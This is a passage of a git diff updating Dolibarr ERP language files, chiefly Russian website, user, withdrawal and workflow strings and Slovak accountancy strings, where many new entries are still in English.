свойства DomainUser=Домен пользователя %s Reactivate=Возобновить @@ -128,3 +128,8 @@ DateLastLogin=Дата последнего входа DatePreviousLogin=Дата предыдущего входа IPLastLogin=IP последний логин IPPreviousLogin=IP предыдущий логин +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/ru_RU/website.lang b/htdocs/langs/ru_RU/website.lang index 5b55dfa0545..838ef8bfdee 100644 --- a/htdocs/langs/ru_RU/website.lang +++ b/htdocs/langs/ru_RU/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Код +WebsiteName=Name of the website WebsiteSetupDesc=Создайте здесь веб-сайты, которые вы хотите использовать. Затем перейдите в меню «Сайты», чтобы отредактировать их. DeleteWebsite=Удалить сайт ConfirmDeleteWebsite=Вы уверены, что хотите удалить этот веб-сайт? Все его страницы и контент также будут удалены. Загруженные файлы (например, в каталог medias, модуль ECM, ...) останутся. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Добавление внизу заголовка HTML (о WEBSITE_ROBOT=Файл робота (robots.txt) WEBSITE_HTACCESS=Файл .htaccess веб-сайта WEBSITE_MANIFEST_JSON=Файл manifest.json веб-сайта -WEBSITE_README=README.md файл WEBSITE_KEYWORDSDesc=Используйте запятую для разделения значений -EnterHereLicenseInformation=Введите здесь метаданные или информацию о лицензии, чтобы заполнить файл README.md. если вы распространяете свой сайт в виде шаблона, файл будет включен в пакет temptate. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=Заголовок HTML (только для этой страницы) PageNameAliasHelp=Имя или псевдоним страницы.
      Этот псевдоним также используется для подделки URL-адреса SEO, когда веб-сайт запускается с виртуального хоста веб-сервера (например, Apacke, Nginx, ...). Используйте кнопку «%s», чтобы изменить этот псевдоним. EditTheWebSiteForACommonHeader=Примечание. Если вы хотите определить персонализированный заголовок для всех страниц, отредактируйте заголовок на уровне сайта, а не на странице / контейнере. @@ -42,10 +43,12 @@ ViewPageInNewTab=Просмотреть страницу в новой вкла SetAsHomePage=Установить в качестве домашней страницы RealURL=Реальный URL ViewWebsiteInProduction=Просмотр веб-сайта с использованием домашних URL-адресов +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Использовать с Apache/NGinx/...
      Создайте на своем веб-сервере (Apache, Nginx, ...) выделенный виртуальный хост с включенным PHP и корневым каталогом в
      %s ExampleToUseInApacheVirtualHostConfig=Пример использования в настройке виртуального хоста Apache: YouCanAlsoTestWithPHPS=Использование со встроенным сервером PHP
      В среде разработки вы можете предпочесть протестировать сайт с помощью встроенного веб-сервера PHP (требуется PHP 5.5), запустив
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP=Запустите свой веб-сайт с другим провайдером хостинга Dolibarr
      Если у вас нет веб-сервера, такого как Apache или NGinx, доступного в Интернете, вы можете экспортировать и импортировать свой веб-сайт на другой экземпляр Dolibarr, предоставленный другим провайдером хостинга Dolibarr, который предоставляет полную интеграция с модулем Веб-сайт. Вы можете найти список некоторых хостинг-провайдеров Dolibarr на https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP= Запустите свой веб-сайт с помощью другого хостинг-провайдера Dolibarr. интеграция с модулем Сайт. Вы можете найти список некоторых хостинг-провайдеров Dolibarr на https://saas.dolibarr.org CheckVirtualHostPerms=Также проверьте, что у пользователя виртуального хоста (например, www-data) есть%s разрешения на файлы в
      %s ReadPerm=Читать WritePerm=Писать @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=Вы можете редактировать исх YouCanEditHtmlSource=
      Вы можете включить PHP-код в этот источник, используя теги <?php ?>. Доступны следующие глобальные переменные: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      Вы также можете включить содержимое другой страницы/контейнера со следующим синтаксисом:
      <?php includeContainer('alias_of_container_to_include'); ?>

      Вы можете выполнить перенаправление на другую страницу/контейнер со следующим синтаксисом (Примечание: не выводите какой-либо контент перед перенаправлением):
      <?php redirectToContainer('alias_of_container_to_redirect_to'); ?>

      Чтобы добавить ссылку на другую страницу, используйте следующий синтаксис:
      <a href="alias_of_page_to_link_to.php">mylink<a>

      Чтобы включить ссылку для загрузки файла, хранящегося в каталоге documents, используйте оболочку document.php:
      Пример для файла в documents/ecm (необходимо зарегистрировать), синтаксис:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      Для файла в documents/medias (открытый каталог для общего доступа) синтаксис:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      Для файла, к которому предоставлен общий доступ по ссылке общего доступа (открытый доступ с использованием хеш-ключа общего доступа к файлу), синтаксис следующий:
      <a href="/document.php?hashp=publicsharekeyoffile">

      Чтобы включить изображение, хранящееся в каталоге documents, используйте оболочку viewimage.php:
      Например, для изображения в documents/medias (открытый каталог для общего доступа) синтаксис:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=Для изображения, к которому предоставлен общий доступ по ссылке общего доступа (открытый доступ с использованием хеш-ключа общего доступа к файлу), синтаксис следующий:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSourceMore=
      Дополнительные примеры HTML или динамического кода доступны на в вики-документации
      . +YouCanEditHtmlSourceMore=
      Дополнительные примеры HTML или динамического кода доступны в в вики-документации
      . ClonePage=Клонировать страницу/контейнер CloneSite=Клонировать сайт SiteAdded=Сайт добавлен @@ -137,7 +140,7 @@ PagesRegenerated=%s страниц/контейнер(ов) восстановл RegenerateWebsiteContent=Восстановить файлы кеша веб-сайта AllowedInFrames=Разрешено в кадрах DefineListOfAltLanguagesInWebsiteProperties=Определите список всех доступных языков в свойствах веб-сайта. -GenerateSitemaps=Создать файл карты сайта +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Если вы подтвердите, вы удалите существующий файл карты сайта ... ConfirmSitemapsCreation=Подтвердите создание карты сайта SitemapGenerated=Создан файл Sitemap %s @@ -145,3 +148,10 @@ ImportFavicon=Фавикон ErrorFaviconType=Фавикон должен быть в формате png. ErrorFaviconSize=Размер Favicon должен быть 16x16, 32x32 или 64x64. FaviconTooltip=Загрузите изображение в формате png (16x16, 32x32 или 64x64). +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/ru_RU/withdrawals.lang b/htdocs/langs/ru_RU/withdrawals.lang index 3c5f1a3f95d..7e09a4b2789 100644 --- a/htdocs/langs/ru_RU/withdrawals.lang +++ b/htdocs/langs/ru_RU/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Счет-фактура ожидает кр AmountToWithdraw=Сумма снятия AmountToTransfer=Сумма для перевода NoInvoiceToWithdraw=Открытых счетов на '%s' нет. Перейдите на вкладку '%s' в карточке счета, чтобы сделать запрос. -NoSupplierInvoiceToWithdraw=Счет-фактура поставщика с открытыми «прямыми запросами на кредит» не ожидает. Перейдите на вкладку '%s' в карточке счета, чтобы сделать запрос. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=Ответственный пользователь WithdrawalsSetup=Настройка оплаты прямым дебетом CreditTransferSetup=Настройка кредитного перевода @@ -42,6 +42,7 @@ CreditTransferStatistics=Статистика кредитных перевод Rejects=Отказы LastWithdrawalReceipt=Последние квитанции прямого дебета %s MakeWithdrawRequest=Сделайте запрос на прямой дебетовый платеж +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Сделайте запрос на перевод кредита WithdrawRequestsDone=%s записанные запросы на платеж прямым дебетом BankTransferRequestsDone=Запросы на перевод кредита %s записаны @@ -100,8 +101,11 @@ CreditDate=Кредит на WithdrawalFileNotCapable=Невозможно создать файл квитанции о снятии средств для вашей страны %s (ваша страна не поддерживается) ShowWithdraw=Показать распоряжение о прямом дебете IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Однако, если в счете есть хотя бы одно платежное поручение по прямому дебету, которое еще не обработано, оно не будет установлено как оплаченное, чтобы обеспечить возможность предварительного управления снятием средств. -DoStandingOrdersBeforePayments=Эта вкладка позволяет вам запросить платежное поручение прямого дебета. После этого перейдите в меню Банк-> Оплата прямым дебетом, чтобы сгенерировать и управлять прямым дебетовым поручением. При закрытии поручения на прямой дебет оплата по счетам будет автоматически записана, а счета-фактуры закрываются, если остаток к оплате равен нулю. -DoCreditTransferBeforePayments=Эта вкладка позволяет вам запросить кредитный перевод. После этого перейдите в меню Банк-> Оплата кредитным переводом, чтобы создать поручение на кредитный перевод и управлять им. При закрытии поручения на перевод кредита оплата по счетам будет автоматически записана, а счета-фактуры закрываются, если остаток к оплате равен нулю. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Файл дебетового поручения CreditTransferFile=Файл кредитного перевода SetToStatusSent=Установить статус "Файл отправлен" @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=Невозможно создать запрос SepaMandate=Мандат прямого дебета SEPA SepaMandateShort=Мандат SEPA PleaseReturnMandate=Отправьте эту форму поручения по электронной почте на адрес %s или по почте на адрес -SEPALegalText=Подписывая эту форму поручения, вы разрешаете (A) %s направить в ваш банк инструкции по дебетованию вашего счета и (B) вашему банку дебетовать ваш счет в соответствии с инструкциями от %s. Как часть ваших прав, вы имеете право на возмещение от вашего банка в соответствии с условиями вашего соглашения с вашим банком. Ваши права в отношении вышеуказанного мандата объясняются в заявлении, которое вы можете получить в своем банке. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Идентификатор кредитора CreditorName=Имя кредитора SEPAFillForm=(B) Пожалуйста, заполните все поля, отмеченные * diff --git a/htdocs/langs/ru_RU/workflow.lang b/htdocs/langs/ru_RU/workflow.lang index db3c8d8cac9..34378bcd358 100644 --- a/htdocs/langs/ru_RU/workflow.lang +++ b/htdocs/langs/ru_RU/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Классифици descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Классифицировать связанный исходный заказ на покупку как полученный, когда прием подтвержден (и если количество, полученное всеми приемами, такое же, как в заказе на покупку для обновления) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Классифицировать связанный исходный заказ на покупку как полученный, когда прием закрыт (и если количество, полученное всеми приемами, такое же, как в заказе на покупку для обновления) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Классифицируйте приемы как "выставленные" при подтверждении связанного заказа поставщика. +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=При создании тикета свяжите доступные контракты соответствующей третьей стороны descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=При привязке договоров искать среди договоров материнских компаний @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Закройте все вмешател AutomaticCreation=Автоматическое создание AutomaticClassification=Автоматическая классификация # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Классифицировать отгрузку из связанного источника как закрытую после подтверждения счета клиента +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) AutomaticClosing=Автоматическое закрытие AutomaticLinking=Автоматическое связывание diff --git a/htdocs/langs/ru_UA/hrm.lang b/htdocs/langs/ru_UA/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/ru_UA/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/ru_UA/propal.lang b/htdocs/langs/ru_UA/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/ru_UA/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/sk_SK/accountancy.lang b/htdocs/langs/sk_SK/accountancy.lang index a7fa4cb7af8..0a075099ae0 100644 --- a/htdocs/langs/sk_SK/accountancy.lang +++ b/htdocs/langs/sk_SK/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Select the carriage return type ACCOUNTING_EXPORT_PREFIX_SPEC=Zadajte predponu pre názov súboru ThisService=This service ThisProduct=This product -DefaultForService=Default for service -DefaultForProduct=Default for product +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=Can't suggest @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Použitie účtovného modulu sa vykonáva v niekoľkých krokoch: AccountancyAreaDescActionOnce=Nasledujúce akcie sa zvyčajne vykonávajú iba raz alebo raz za rok ... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=Nasledujúce akcie sa zvyčajne vykonávajú každý mesiac, týždeň alebo deň pre veľmi veľké spoločnosti ... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=KROK %s: Definujte účty účtov pre každú sadzbu DPH. Na to použite položku ponuky %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=KROK %s: Definovanie predvolených účtovných účtov na platbu miezd. Na to použite položku ponuky %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=KROK %s: Definujte predvolené účtovné účty pre darovanie. Na to použite položku ponuky %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=KROK %s: Definujte povinné predvolené účty a predvolené účtovné účty pre rôzne transakcie. Na to použite položku ponuky %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=KROK %s: Definujte účty účtovníctva vo vašich produktoch / službách. Na to použite položku ponuky %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -99,7 +101,8 @@ ShowAccountingAccount=Show accounting account ShowAccountingJournal=Show accounting journal ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Účtovný účet bol navrhnutý +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Predvolené účty MenuBankAccounts=Bankové účty MenuVatAccounts=Vat accounts @@ -112,7 +115,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Produkty účty TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Priradené k účtom CustomersVentilation=Priradenie zákazníckej faktúry SuppliersVentilation=Vendor invoice binding @@ -120,10 +123,11 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Vytvorte novú transakciu UpdateMvts=Úprava transakcie ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Hlavná kniha BookkeepingSubAccount=Subledger AccountBalance=Stav účtu +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Source object ref CAHTF=Total purchase vendor before tax TotalExpenseReport=Total expense report @@ -161,41 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Zakázať priame zaznamenávanie transakcie na bankov ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Predaj denníka -ACCOUNTING_PURCHASE_JOURNAL=Zakúpte denník -ACCOUNTING_MISCELLANEOUS_JOURNAL=Rôzne denníky +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Denník výdavkov -ACCOUNTING_SOCIAL_JOURNAL=Sociálny časopis +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Sociálny časopis ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Účtovný účet čakania -DONATION_ACCOUNTINGACCOUNT=Účtovný účet na registráciu darov -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Účtovný účet štandardne pre predané produkty (použité, ak nie sú definované v produktovom liste) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Účtovný účet predvolene pre zakúpené služby (používa sa, ak nie je definovaný v služobnom liste) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Účtovný účet predvolene pre predané služby (používa sa, ak nie je definovaný v služobnom liste) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Druh dokumentu Docdate=dátum @@ -210,7 +220,8 @@ Codejournal=časopis JournalLabel=Journal label NumPiece=Číslo kusu TransactionNumShort=Num. transakcie -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +230,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=Do roku NotMatch=Nenastavené -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Rok na zmazanie DelJournal=Žurnále na zmazanie -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finančný časopis ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finančný denník vrátane všetkých druhov platieb prostredníctvom bankového účtu @@ -258,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Group of account PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Reconcilable TotalVente=Celkový obrat pred zdanením TotalMarge=Celkové predajné rozpätie -DescVentilCustomer=Pozrite sa na zoznam zákazníckych faktúr, ktoré sú viazané (alebo nie) na účet účtovania produktu -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Pozrite si zoznam riadkov zákazníkov faktúr a ich účet účtovania produktov -DescVentilTodoCustomer=Uviazať linky faktúr, ktoré ešte nie sú viazané účtom účtovania produktu -ChangeAccount=Zmeniť účtovný účet produktu / služby pre vybrané riadky s týmto účtovným účtom: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +290,32 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r 